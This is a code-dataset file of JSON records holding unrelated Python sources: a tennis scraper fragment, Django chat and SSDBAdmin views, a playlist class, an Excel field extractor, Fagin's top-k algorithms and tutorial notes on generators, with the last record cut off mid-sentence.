driver.find_element_by_xpath('//*[@id=\"contentAccordionWrapper\"]/div['+str(i)+']/div[2]/div/table/tbody/tr['+str(j)+']/td[1]/img').get_attribute(\"src\")\n tournaments_point = src_point[len(src_point)-7:len(src_point)-4]\n if tournaments_point == '000':\n tournaments_point = '1000'\n elif tournaments_point == 'lam':\n tournaments_point = '2000'\n elif tournaments_point == 'als':\n tournaments_point = '1500'\n elif tournaments_point.isdigit()==False:\n tournaments_point=\"Not relevant\"\n tournaments_data.write(tournaments_point + '\\n')\n driver.close()\n except NoSuchElementException:\n break","repo_name":"allagonne/Tennis-predictor","sub_path":"Python/Scrapping/tournament_list.py","file_name":"tournament_list.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2439446925","text":"# Computes transfer time from a CPU to a GPU\n\nif __name__ == '__main__':\n import time\n from sys import argv, stdout\n from ape.theano_gpu_util import cpu_to_gpu_var\n import theano\n import numpy as np\n import ast\n\n ns = argv[1]\n ns = ast.literal_eval(ns)\n\n results = []\n\n # Make function to send variables from cpu to gpu\n cx = theano.tensor.matrix('x')\n gx = theano.sandbox.cuda.gpu_from_host(cx)\n send = theano.function((cx,), gx)\n\n for n in ns:\n\n xx = np.ones((n,1), dtype=np.float32)\n\n starttime = time.time()\n gxx = send(xx)\n endtime = time.time()\n duration = endtime - starttime\n results.append((xx.nbytes, duration))\n\n stdout.write(\"[%s]\\n\"%(',\\n'.join(map(str, results))))\n\n","repo_name":"mrocklin/ape","sub_path":"ape/timings/communication/togpu_run.py","file_name":"togpu_run.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"26113432074","text":"def solution(cipher, code):\n answer = ''\n # for c in range(code, len(cipher)+1, code):\n # answer += cipher[c - 1]\n answer = cipher[code-1::code]\n return answer\n\n\nprint(solution(\"dfjardstddetckdaccccdegk\", 4))\nprint(solution(\"pfqallllabwaoclk\", 2))\n","repo_name":"w-garden/coding-study","sub_path":"programmers/암호 해독.py","file_name":"암호 해독.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4410611675","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.models import User\nfrom django.http import Http404\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.contrib.auth.decorators import login_required\n\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom .models import Block, GroupBlock, PrivateBlock\n\nfrom .serializers import GroupBlockSerializer, PrivateBlockSerializer\n\nfrom .decorators import only_unauthenticated\n\nfrom .forms import SignUpForm, SignInForm\n# Create your views here.\n\n\n# === Sign Up ===\n@only_unauthenticated\ndef sign_up(request):\n if request.POST:\n form = SignUpForm(request.POST)\n\n if form.is_valid():\n form.save()\n return redirect('sign_in')\n return redirect('sign_up')\n else:\n form = SignUpForm()\n\n return render(request, 'chat/sign_up.html', {'form': form})\n\n\n# === Sign In ===\n@only_unauthenticated\ndef sign_in(request):\n if request.POST:\n form = SignInForm(request.POST)\n print(form)\n\n if form.is_valid():\n print('This form is not even valid')\n try:\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n\n user = authenticate(username=username, password=password)\n login(request, user)\n return redirect('dashboard')\n except Exception as e:\n print(e)\n return redirect('sign_in')\n else:\n return redirect('sign_in')\n else:\n form = SignInForm()\n\n return render(request, 'chat/sign_in.html', {'form': form})\n\n\n# === Sign Out ===\ndef sign_out(request):\n logout(request)\n\n return redirect('sign_in')\n\n\n# === Dashboard ===\n@login_required\ndef dashboard(request):\n\n return render(request, 'chat/dashboard.html')\n\n\n# === Blocks ===\ndef blocks(request):\n block_list = Block.objects.all()\n\n context = {\n 'blocks': block_list\n }\n\n return render(request, 'chat/blocks.html', context)\n\n\n# === Users ===\ndef candlechat_users(request):\n users = User.objects.all()\n\n return render(request, 'chat/candlechat_users.html', {'users': users})\n\n\n# === Group Block view === \n@login_required\ndef group_block(request, slug):\n detail = get_object_or_404(Block, slug=slug)\n\n context = {\n 'detail': detail,\n }\n return render(request, 'chat/group_block.html', context)\n\n\n# === Private Block view ===\n@login_required\ndef private_block(request, other_user_id):\n\n return render(request, 'chat/private_block.html')\n\n\n# === Group Block Messages API ===\nclass GroupBlockMessagesView(APIView):\n permission_classes = [IsAuthenticated]\n\n def get_block(self, block_slug):\n try:\n return Block.objects.get(slug=block_slug)\n except Block.DoesNotExist:\n raise Http404\n\n def get(self, request, block_slug):\n block = self.get_block(block_slug)\n messages = GroupBlock.objects.filter(block=block)\n serializer = GroupBlockSerializer(messages, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n# === Private Block Messages API ===\nclass PrivateBlockMessagesView(APIView):\n def get_other_user(self, other_user_id):\n try:\n return User.objects.get(id=other_user_id)\n except User.DoesNotExist:\n raise Http404\n\n def get(self, request, other_user_id):\n user = User.objects.get(id=other_user_id)\n\n block_thread = (\n f\"block_{request.user.id}_{user.id}\"\n if int(request.user.id) > int(user.id)\n else f\"block_{user.id}_{request.user.id}\"\n )\n private_block_messages = PrivateBlock.objects.filter(block_thread=block_thread).select_related('user')\n serializer = PrivateBlockSerializer(private_block_messages, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n","repo_name":"edfolmi/candlechat","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70116872515","text":"import cv2\nfrom os import rename\nimport numpy as np\nimport time\nimport svgwrite\n\nTHRESHOLD = 220\nSLEEPYTIME = 2\n\nvideo = cv2.VideoCapture(0)\n\n#app = QApplication([])\n#svg = QSvgWidget()\n\ndef convertGray(img):\n return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\ndwg = svgwrite.Drawing('tmp.svg', profile='full')\n\n#app.exec_()\n\nwhile True:\n #img_colour = cv2.imread('./dave.jpg',0)\n print(\"BEGIN\")\n img_colour = video.read()[1]\n print(1)\n img = cv2.cvtColor(img_colour, cv2.COLOR_BGR2GRAY)\n print(2)\n #img = cv2.VideoCapture(0).read()[1]\n ret, thresh1 = cv2.threshold(img, THRESHOLD, 255, cv2.THRESH_BINARY)\n print(3)\n image, contours, hierarchy = cv2.findContours(\n thresh1, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n print(4)\n #images = [img_colour, thresh1, thresh2, thresh3, thresh4, thresh5, image]\n #images = list(map(convertGray, images))\n # for i in range(len(images)):\n # plt.subplot(3,3,i+1),plt.imshow(images[i],'gray')\n # plt.title(titles[i])\n # plt.xticks([]),plt.yticks([])\n print(5)\n for contour in contours:\n numpoints = 0\n for point in contour:\n dwg.add(dwg.circle(center=(float(point[0][0]), float(point[0][1])), r=2, fill=\"white\"))\n numpoints += 1\n print(numpoints, end=\" \")\n\n print(6)\n print(7)\n # plt.pause(SLEEPYTIME)\n dwg.save()\n rename(\"tmp.svg\", \"test.svg\")\n print(\"SAVED!\")\n try:\n time.sleep(SLEEPYTIME)\n except KeyboardInterrupt:\n break\n","repo_name":"frankye8998/Markville-Hackathon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23578317021","text":"def main():\r\n solutions = []\r\n with open('A-large.in', 'r') as f:\r\n rows = f.readlines()\r\n T = int(rows[0])\r\n row_counter = 1\r\n for i in xrange(T):\r\n row = rows[row_counter]\r\n row_splitted = row.split(' ')\r\n D = int(row_splitted[0])\r\n N = int(row_splitted[1])\r\n max_remaining_hours = 0\r\n for j in xrange(1, N+1):\r\n second_row_counter = row_counter + j\r\n second_row = rows[second_row_counter]\r\n second_row_splitted = second_row.split(' ')\r\n K = int(second_row_splitted[0])\r\n S = int(second_row_splitted[1])\r\n remaining_hours = round((D-K)/float(S), 6)\r\n if remaining_hours > max_remaining_hours:\r\n max_remaining_hours = remaining_hours\r\n max_allowed_speed = round(D/float(max_remaining_hours), 6)\r\n solutions.append(max_allowed_speed)\r\n row_counter += N + 1\r\n\r\n with open('A-large.out', 'w') as f:\r\n line_number = 1\r\n for line in solutions:\r\n f.write(\"Case #{0}: {1}\\n\".format(str(line_number), line))\r\n line_number += 1\r\n\r\nmain()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/1177.py","file_name":"1177.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24160411381","text":"class Song:\n def __init__(self, artist, title, album, length):\n self.artist = artist\n self.title = title\n self.album = album\n self.song_length = length\n\n def __str__(self):\n return '{} - {} from {} - {}'.format(self.artist, self.title, self.album, self.song_length)\n\n def __eq__(self, other):\n if other.__class__ is self.__class__:\n return (self.artist, self.album, self.title, self.song_length) == (other.artist, other.album, other.title, other.song_length)\n return NotImplemented\n\n def __repr__(self):\n return str(self)\n\n def __hash__(self):\n return hash((self.artist, self.album, self.title, self.song_length))\n\n def length(self, seconds=False, minutes=False, hours=False):\n temp = self.song_length.split(':')[::-1]\n list_h_m_s = temp if len(temp) is 3 else temp + ['0']\n if seconds:\n return repr(int(list_h_m_s[2])*60**2 + int(list_h_m_s[1])*60 + int(list_h_m_s[0]))\n return self.song_length\n \n\nclass Playlist:\n def __init__(self, name, repeat=False, shuffle=False):\n self.name = name\n self.songs = []\n self.repeat = repeat\n self.shuffle = shuffle\n\n def add_song(self, song):\n if song not in self.songs:\n self.songs.append(song)\n else:\n print('{} already in playlist. '.format(song))\n\n def remove_song(self, song):\n if song in self.songs:\n self.songs.remove(song)\n print('Song was removed successfully')\n else:\n print('No such song in the playlst')\n\n def add_songs(self, songs):\n for song in songs:\n self.add_song(song)\n\n def pprint_playlist(self):\n if len(self.songs) == 0:\n print('Empty playlist')\n return\n max_len_artist = max(max(len(song.artist) for song in self.songs), len('Artist'))\n max_len_length = max(max(len(song.song_length) for song in self.songs), len('Length'))\n max_len_title = max(max(len(song.title) for song in self.songs), len('Song'))\n print('| Artist', ' '*(max_len_artist - len('artist')), '| Song', ' '*(max_len_title - len('Song')), '| Length', ' '*(max_len_length - len('Length')), '|')\n print('|', '-'*(max_len_artist + 1), '|', '-'*(max_len_title + 1), '|', '-'*max_len_length + '-', '|')\n for song in self.songs:\n print('| {}'.format(song.artist), ' '*(max_len_artist - len(song.artist)), '| {}'.format(song.title), ' '*(max_len_title - len(song.title)), '| {}'.format(song.song_length), ' '*(max_len_length - len(song.song_length)), '|')\n print('\\n')\n \n\nif __name__ == '__main__':\n 'in musicLibrary'\n s2 = Song('art', 't', 'a', length='3:00')\n s = Song('a', 't', 'a', length='3:30')\n print([s,s2])\n pl = Playlist('name')\n pl.add_song(s)\n pl.add_songs([s2,s,s,s])\n pl.pprint_playlist()\n pl.remove_song(s)\n pl.pprint_playlist()\n pl.remove_song(s)","repo_name":"ZahariAT/HackBulgaria2019","sub_path":"week05/musicLibrary.py","file_name":"musicLibrary.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27805054718","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('customer', '0006_auto_20160721_1913'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='customer',\n name='discount',\n field=models.DecimalField(default=1, verbose_name='\\u6298\\u6263', max_digits=3, decimal_places=2),\n ),\n ]\n","repo_name":"yunmengyanjin/website","sub_path":"eggs/django_lfs-0.10.2-py2.7.egg/lfs/customer/migrations/0007_customer_discount.py","file_name":"0007_customer_discount.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24270679986","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: zset\n Description : zset view\n Author : JHao\n date: 2018/8/30\n-------------------------------------------------\n Change Activity:\n 2018/8/30: zset view\n-------------------------------------------------\n\"\"\"\n__author__ = 'JHao'\n\nfrom SSDBAdmin import app\nfrom SSDBAdmin.model.SSDBClient import SSDBClient\nfrom SSDBAdmin.utils.paginator import getPagingTabsInfo, getPageNumberInfo\nfrom flask import render_template, request, make_response, redirect, url_for\n\n\n@app.route('/ssdbadmin/zset/')\ndef zsetLists():\n \"\"\"\n show the items of zset\n :return:\n \"\"\"\n page_num = int(request.args.get('page_num', 1))\n page_size = request.args.get('page_size')\n if not page_size:\n page_size = request.cookies.get('SIZE', 20)\n start = request.args.get('start', '')\n db_client = SSDBClient(request)\n zset_list, has_next = db_client.zsetList(start=start, page_num=page_num, page_size=int(page_size))\n select_arg = {'start': start, 'page_size': int(page_size)}\n resp = make_response(render_template('zset/zset.html', zset_list=zset_list, has_next=has_next,\n has_prev=page_num > 1,\n page_num=page_num, select_arg=select_arg, active='zset'))\n resp.set_cookie('SIZE', str(page_size), httponly=True, samesite='Lax')\n return resp\n\n\n@app.route('/ssdbadmin/zset/set/', methods=['GET', 'POST'])\ndef zsetSet():\n \"\"\"\n add item to zset\n :return:\n \"\"\"\n if request.method == 'GET':\n name = request.args.get('name')\n key = request.args.get('key', '')\n score = request.args.get('score', '')\n return render_template('zset/zset_set.html', name=name, key=key, score=score, active='zset')\n else:\n name = request.form.get('name')\n key = request.form.get('key')\n score = request.form.get('score')\n try:\n score = int(score)\n except ValueError:\n score = 0\n SSDBClient(request).zsetSet(name, key, score)\n return redirect(url_for('zsetRange', name=name))\n\n\n@app.route('/ssdbadmin/zset/range/')\ndef zsetRange():\n \"\"\"\n show the list of item from zst\n :return:\n \"\"\"\n set_name = request.args.get('name')\n start = request.args.get('start', \"\")\n page_num = request.args.get('page_num', 1)\n page_size = request.args.get('page_size')\n if not page_size:\n page_size = request.cookies.get('SIZE', 10)\n\n db_object = SSDBClient(request)\n item_total = db_object.zsetSize(set_name)\n page_count, page_num = getPagingTabsInfo(item_total, page_num, page_size)\n offset = (page_num - 1) * int(page_size)\n if start:\n rank = db_object.zsetRank(set_name, start)\n if rank:\n page_num = getPageNumberInfo(rank, page_count, page_size)\n offset = (page_num - 1) * int(page_size)\n\n item_list = db_object.zsetRange(set_name, offset=offset, limit=page_size)\n select_arg = {'page_size': int(page_size)}\n resp = make_response(render_template('zset/zset_range.html',\n item_list=item_list,\n name=set_name,\n page_num=int(page_num),\n page_count=page_count,\n select_arg=select_arg,\n start=start,\n active='zset'))\n resp.set_cookie('SIZE', str(page_size), httponly=True, samesite='Lax')\n return resp\n\n\n@app.route('/ssdbadmin/zset/del/', methods=['GET', 'POST'])\ndef zsetDel():\n \"\"\"\n remove keys from zset\n :return:\n \"\"\"\n if request.method == 'GET':\n name = request.args.get('name')\n key = request.args.get('key')\n keys = request.args.getlist('keys')\n if key:\n keys.append(key)\n return render_template('zset/zset_del.html', keys=keys, name=name, active='zset')\n else:\n keys = request.form.getlist('key')\n name = request.form.get('name')\n SSDBClient(request).zsetDel(name, *keys)\n return redirect(url_for('zsetRange', name=name))\n\n\n@app.route('/ssdbadmin/zset/zclear/', methods=['GET', 'POST'])\ndef zsetClear():\n \"\"\"\n delete the specified zset data\n :return:\n \"\"\"\n if request.method == 'POST':\n name = request.form.get('name')\n SSDBClient(request).zsetClear(name)\n return redirect(url_for('zsetLists'))\n else:\n queue_name = request.args.get('name')\n return render_template('zset/zset_clear.html', name=queue_name, active='zset')\n\n\n@app.route('/ssdbadmin/zset/zget/')\ndef zset_zget():\n \"\"\"\n show item info from zset\n :return:\n \"\"\"\n name = request.args.get('name')\n key = request.args.get('key')\n score = SSDBClient(request).zsetGet(name, key)\n return render_template('zset/zset_get.html', name=name, score=score, key=key, active='zset')\n","repo_name":"jhao104/SSDBAdmin","sub_path":"SSDBAdmin/apps/zset.py","file_name":"zset.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"61"} +{"seq_id":"38506504173","text":"from enum import Enum\nimport xlrd\nimport datetime\nimport numpy as np\n\nclass FieldOffset(Enum):\n \"\"\"\n A definition of the possible location of\n the value compared to the field name\n \"\"\"\n RIGHT = 0\n TOP = 1\n LEFT = 2\n BOTTOM = 3\n\n\nclass FieldType(Enum):\n \"\"\"\n A definition of the possible cell type\n \"\"\"\n DATE = 0\n\n\nclass FieldExtractor:\n \"\"\"\n A class to extract a serie of fields from an Excel File\n \"\"\"\n\n offset = {FieldOffset.RIGHT: (0, 1),\n FieldOffset.TOP: (-1, 0),\n FieldOffset.LEFT: (0, -1),\n FieldOffset.BOTTOM: (1, 0)}\n\n def __init__(self, field_definition):\n \"\"\"\n Construc\n :param field_definition: a map of field to extract. Each field\n contains a map with:\n The spreadsheet name\n The field name\n The offset of the data (default, right) relative to the field name\n \"\"\"\n\n self.fieldDefinition = field_definition\n\n def extract(self, file_path):\n \"\"\"\n Extract field data from an excel fileFieldExtractor.py\n :param file_path: path to the excel file\n :return:\n \"\"\"\n\n results = dict()\n\n with xlrd.open_workbook(filename=file_path) as workbook:\n\n for key, field in self.fieldDefinition.items():\n\n xl_sheet = workbook.sheet_by_name(field['sheet'])\n\n for row_num in range(xl_sheet.nrows):\n row_value = xl_sheet.row_values(row_num)\n\n for col_num, cell in enumerate(row_value):\n\n if type(cell) is str:\n if cell.lower() == field['field'].lower():\n\n if 'offset' in field:\n cell = xl_sheet.cell(row_num +\n FieldExtractor.offset[field['offset']][0],\n col_num +\n FieldExtractor.offset[field['offset']][1])\n results[field['field']] = cell.value\n\n else:\n cell = xl_sheet.cell(row_num,\n col_num + 1)\n results[field['field']] = cell.value\n\n if 'type' in field:\n if field['type'] == FieldType.DATE:\n results[field['field']] = datetime.datetime(*xlrd.xldate_as_tuple(results[field['field']], workbook.datemode))\n\n\n break\n\n\n if field['field'] not in results:\n results[field['field']] = np.nan\n\n\n return results\n","repo_name":"musashin/DashBoardTest","sub_path":"parser/FieldExtractor.py","file_name":"FieldExtractor.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8102970298","text":"class FaginsAlgorithm:\n \"\"\"Fagin's Algorithm (FA).\"\"\"\n\n def __init__(self):\n pass\n\n def apply(self, queue1, queue2, queue3, queue4, hyperparameters, k):\n \"\"\"\n Return the top-k items in the queues, using the hyperparameters\n in the aggregation function.\n\n Inputs:\n - queue1, queue2, queue3, queue4 of form: list of tuples: (id, score in queue).\n - hyperparameters: list of float-numbers (4 hyperparameters)\n - k: int\n \"\"\"\n h1, h2, h3, h4 = hyperparameters\n queues = [queue1, queue2, queue3, queue4]\n length = len(queue1)\n seen_ids = dict()\n\n for i in range(length):\n for j, queue in enumerate(queues):\n item = queue[i][0]\n score = queue[i][1]\n self._add_item_to_seen(item, score, seen_ids, j)\n if self._k_items_shared(seen_ids, len(queues), k):\n break\n candidates = []\n seen_items = [item for item in seen_ids]\n\n for item in seen_items:\n scores = [None] * len(queues)\n for queue_index, score in seen_ids[item]:\n scores[queue_index] = score\n for index in [i for i, score in enumerate(scores) if score == None]:\n queue = queues[index]\n scores[index] = self._random_access(queue, item)[1]\n score = h1 * scores[0] + h2 * scores[1] + h3 * scores[2] + h4 * scores[3]\n candidates.append(\n {\"id\": item, \"score\": score, \"match\": scores[0], \"rel\": scores[1], \"conn\": scores[2], \"coh\": scores[3]}\n )\n\n top_candidates = sorted(candidates, key=lambda j: j[\"score\"], reverse=True)\n top_candidates = top_candidates[:k]\n return top_candidates\n\n def _add_item_to_seen(self, item, score, seen_ids, queue_index):\n \"\"\"Remember the item as seen.\"\"\"\n if seen_ids.get(item) is None:\n seen_ids[item] = [(queue_index, score)]\n else:\n seen_ids[item].append((queue_index, score))\n\n def _random_access(self, queue, item_id):\n \"\"\"Random access of an id in a queue.\"\"\"\n return next((x for x in queue if x[0] == item_id), None)\n\n def _k_items_shared(self, seen_ids, queues_count, k):\n \"\"\"Returns true if k items are shared among all queues.\"\"\"\n count = 0\n for item in seen_ids:\n if len(seen_ids[item]) == queues_count:\n count += 1\n if count == k:\n return True\n return False\n\n\nclass FaginsThresholdAlgorithm:\n \"\"\"Fagin's Threshold Algorithm (TA). Slightly more efficient than FA.\"\"\"\n\n def __init__(self):\n pass\n\n def apply(self, queue1, queue2, queue3, queue4, hyperparameters, k):\n \"\"\"\n Return the top-k items in the queues, using the hyperparameters\n in the aggregation function.\n\n Inputs:\n - queue1, queue2, queue3, queue4 of form: list of tuples: (id, score in queue).\n - hyperparameters: list of float-numbers (4 hyperparameters)\n - k: int\n \"\"\"\n queues = [queue1, queue2, queue3, queue4]\n length = len(queue1)\n seen_ids = set()\n # initialize list maintaining top items\n top_k_items = [{\"id\": None, \"score\": 0}] * k\n k_th_score = 0\n\n threshold_scores = [1] * len(queues)\n for i in range(length):\n for j, queue in enumerate(queues):\n item_id = queue[i][0]\n single_score = queue[i][1]\n # update highest possible score in queue\n threshold_scores[j] = single_score\n # check whether item already fully scored\n if item_id in seen_ids:\n continue\n # fully score item\n scored_item = self.compute_aggregated_score(item_id, queues, hyperparameters, single_score, j)\n aggregated_score = scored_item[\"score\"]\n seen_ids.add(item_id)\n # update top-k items\n if aggregated_score > k_th_score:\n top_k_items = top_k_items[:k]\n top_k_items.append(scored_item)\n top_k_items = sorted(top_k_items, key=lambda j: j[\"score\"], reverse=True)\n # update threshold\n threshold = 0\n for l in range(len(hyperparameters)):\n threshold += threshold_scores[l] * hyperparameters[l]\n # check termination criteria\n k_th_score = top_k_items[k - 1][\"score\"]\n if threshold <= k_th_score:\n break\n top_k_items = top_k_items[:k]\n return top_k_items\n\n def compute_aggregated_score(self, item_id, queues, hyperparameters, single_score, single_score_index):\n \"\"\"Score the given item wrt. all scores in the different queues.\n -> Use random accesses in these lists.\"\"\"\n aggregated_score = 0\n scores = list()\n for i, queue in enumerate(queues):\n if not i == single_score_index:\n new_score = self.random_access(queue, item_id)[1]\n aggregated_score += new_score * hyperparameters[i]\n scores.append(new_score)\n else:\n aggregated_score += single_score * hyperparameters[i]\n scores.append(single_score)\n return {\n \"id\": item_id,\n \"score\": aggregated_score,\n \"match\": scores[0],\n \"rel\": scores[1],\n \"conn\": scores[2],\n \"coh\": scores[3],\n }\n\n def random_access(self, queue, item_id):\n \"\"\"Random access of an item in a specific queue.\"\"\"\n return next((x for x in queue if x[0] == item_id), None)\n","repo_name":"GracePeterMutiibwa/CLOCQ","sub_path":"clocq/FaginsAlgorithm.py","file_name":"FaginsAlgorithm.py","file_ext":"py","file_size_in_byte":5803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"72284970753","text":"# only simple question about clousre came\n# generators, iterators, and yield did not come\n\n# -------------------------------------\n# Generators - where to find them\n# A Python generator is a piece of specialized code able to produce a series of values, and to control the iteration process. \n# This is why generators are very often called iterators, and although some may find a very subtle distinction between these two,\n# we'll treat them as one.\nfor i in range(5):\n print(i)\n\n# A generator returns a series of values, and in general, is (implicitly) invoked more than once.\n\n\n# -------------------------------------\n# How to create generators?\n# Method 1 = To make a class return a generator = use __iter__ and __next__ magic (or dunder) methods\n# Method 2 = To make a function return a generator = use the 'yield' statement\n# Method 3 = To make a statment return a generator = use the parantheses ()\n# -------------------------------------\n\n# Method 1 = To make a class object as a generator = use __iter__ and __next__ magic (or dunder) methods\n# Generators - where to find them: continued\nclass Fib:\n def __init__(self, nn):\n print(\"__init__\")\n self.__n = nn\n self.__i = 0\n self.__p1 = self.__p2 = 1\n\n def __iter__(self):\n print(\"__iter__\")\n return self\n\n def __next__(self):\n print(\"__next__\")\t\t\t\t\n self.__i += 1\n if self.__i > self.__n:\n raise StopIteration\n if self.__i in [1, 2]:\n return 1\n ret = self.__p1 + self.__p2\n self.__p1, self.__p2 = self.__p2, ret\n return ret\n\n\nfor i in Fib(10):\n print(i)\n\n# An iterator must provide two methods:\n\n# __iter__() which should return the object itself and which is invoked once \n# (it's needed for Python to successfully start the iteration)\n\n# __next__() which is intended to return the next value (first, second, and so on) of the desired series \n# - it will be invoked by the for/in statements in order to pass through the next iteration; \n\n# if there are no more values to provide, the method should raise the StopIteration exception\n# __init__\n# __iter__\n# __next__\n# 1\n# __next__\n# 1\n# __next__\n# 2\n# __next__\n# 3\n# __next__\n# 5\n# __next__\n# 8\n# __next__\n# 13\n# __next__\n# 21\n# __next__\n# 34\n# __next__\n# 55\n# __next__\n\n# the iterator object is instantiated first;\n# next, Python invokes the __iter__ method to get access to the actual iterator;\n# the __next__ method is invoked eleven times - the first ten times produce useful values, while the eleventh terminates the iteration.\n\n# -------------------------------------\nclass Fib:\n def __init__(self, nn):\n self.__n = nn\n self.__i = 0\n self.__p1 = self.__p2 = 1\n\n def __iter__(self):\n print(\"Fib iter\")\n return self\n\n def __next__(self):\n self.__i += 1\n if self.__i > self.__n:\n raise StopIteration\n if self.__i in [1, 2]:\n return 1\n ret = self.__p1 + self.__p2\n self.__p1, self.__p2 = self.__p2, ret\n return ret\n\nclass Class:\n def __init__(self, n):\n self.__iter = Fib(n)\n\n def __iter__(self):\n print(\"Class iter\")\n return self.__iter\n\n\nobject = Class(8)\n\nfor i in object:\n print(i)\n\n# Class iter\n# 1\n# 1\n# 2\n# 3\n# 5\n# 8\n# 13\n# 21\n# -------------------------------------\n# Method 2 = To make a function return a generator = use the 'yield' statement\n\n# You may think of the yield keyword as a smarter sibling of the return statement, with one essential difference.\n\ndef fun(n):\n for i in range(n):\n return i\n\n# It looks strange, doesn't it? It's clear that the for loop has no chance to finish its first execution, \n# as the return will break it irrevocably.\n\ndef fun(n):\n for i in range(n):\n yield i\n\n# We've added yield instead of return. This little amendment turns the function into a generator, \n# and executing the yield statement has some very interesting effects.\n# First of all, it provides the value of the expression specified after the yield keyword, just like return, \n# but doesn't lose the state of the function.\n\n# All the variables' values are frozen, and wait for the next invocation, \n# when the execution is resumed (not taken from scratch, like after return).\n\n# There is one important limitation: such a function should not be invoked explicitly\n# as - in fact - it isn't a function anymore; it's a generator object.\n# The invocation will return the object's identifier, not the series we expect from the generator.\n# Due to the same reasons, the previous function (the one with the return statement) may only be invoked explicitly, and must not be used as a generator.\n\n\n\n\n\n# -------------------------------------\n# Example - building a generator from a function\ndef fun(n):\n for i in range(n):\n yield i\n\nprint(fun(4)) # \n\nfor v in fun(5):\n print(v)\n\n# 0\n# 1\n# 2\n# 3\n# 4\n# -------------------------------------\n# What if you need a generator to produce the first n powers of 2?\ndef powers_of_2(n):\n power = 1\n for i in range(n):\n yield power\n power *= 2 \n\n\nfor v in powers_of_2(8):\n print(v)\n\n# 1\n# 2\n# 4\n# 8\n# 16\n# 32\n# 64\n# 128\n\n# -------------------------------------\n# List comprehensions\n# Generators may also be used within list comprehensions, just like here:\n\ndef powers_of_2(n):\n power = 1\n for i in range(n):\n yield power\n power *= 2\n\n\nt = [x for x in powers_of_2(5)]\nprint(t)\n\n# [1, 2, 4, 8, 16]\n# -------------------------------------\n# The list() function\n# The list() function can transform a series of subsequent generator invocations into a real list:\ndef powers_of_2(n):\n power = 1\n for i in range(n):\n yield power\n power *= 2\n\n\nt = list(powers_of_2(3))\nprint(t)\n\n# [1, 2, 4]\n# -------------------------------------\n# The in operator\n\ndef powers_of_2(n):\n power = 1\n for i in range(n):\n yield power\n power *= 2\n\n\nfor i in range(20):\n if i in powers_of_2(4): # stops the iteration once the i is found in the list - so I don't have to go through the entier list or fetch it in memory\n print(i)\n\n# 1\n# 2\n# 4\n# 8\n\n# -------------------------------------\n# The Fibanacci number generator (as a function)\n\n# Now let's see a Fibonacci number generator, and ensure that it looks much better \n# than the objective version based on the direct iterator protocol implementation.\n\ndef fibonacci(n):\n p = pp = 1\n for i in range(n):\n if i in [0, 1]:\n yield 1\n else:\n n = p + pp\n pp, p = p, n\n yield n\n\nfibs = list(fibonacci(10))\nprint(fibs)\n\n# [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\n\n# -------------------------------------\n# More about list comprehensions\nlist_1 = []\n\nfor ex in range(6):\n list_1.append(10 ** ex)\n\nlist_2 = [10 ** ex for ex in range(6)]\n\nprint(list_1)\nprint(list_2)\n\n# [1, 10, 100, 1000, 10000, 100000]\n# [1, 10, 100, 1000, 10000, 100000]\n\n# -------------------------------------\n# There is a very interesting syntax we want to show you now. \n# Its usability is not limited to list comprehensions, \n# but we have to admit that comprehensions are the ideal environment for it.\n\n# It's a conditional expression - a way of selecting one of two different values\n# based on the result of a Boolean expression.\n\nthe_list = []\n\nfor x in range(10):\n the_list.append(1 if x % 2 == 0 else 0)\n\nprint(the_list)\n\n# [1, 0, 1, 0, 1, 0, 1, 0, 1, 0]\n\n# -------------------------------------\n# More about list comprehensions: continued\nthe_list = [1 if x % 2 == 0 else 0 for x in range(10)]\n\nprint(the_list)\n# [1, 0, 1, 0, 1, 0, 1, 0, 1, 0]\n# -------------------------------------\nthe_list = [1 for x in range(10) if x % 2 == 0] # without else\n# [1, 1, 1, 1, 1]\n# -------------------------------------\nthe_list = [x in range(10) if x % 2 == 0 else 0]\n\n# -------------------------------------\n# Method 3 = To make a statment return a generator = use the parantheses ()\n\n# List comprehensions vs. generators\n# Just one change can turn any list comprehension into a generator.\n# replace [] with ()\n# It's the parentheses. \n# The brackets make a comprehension, the parentheses make a 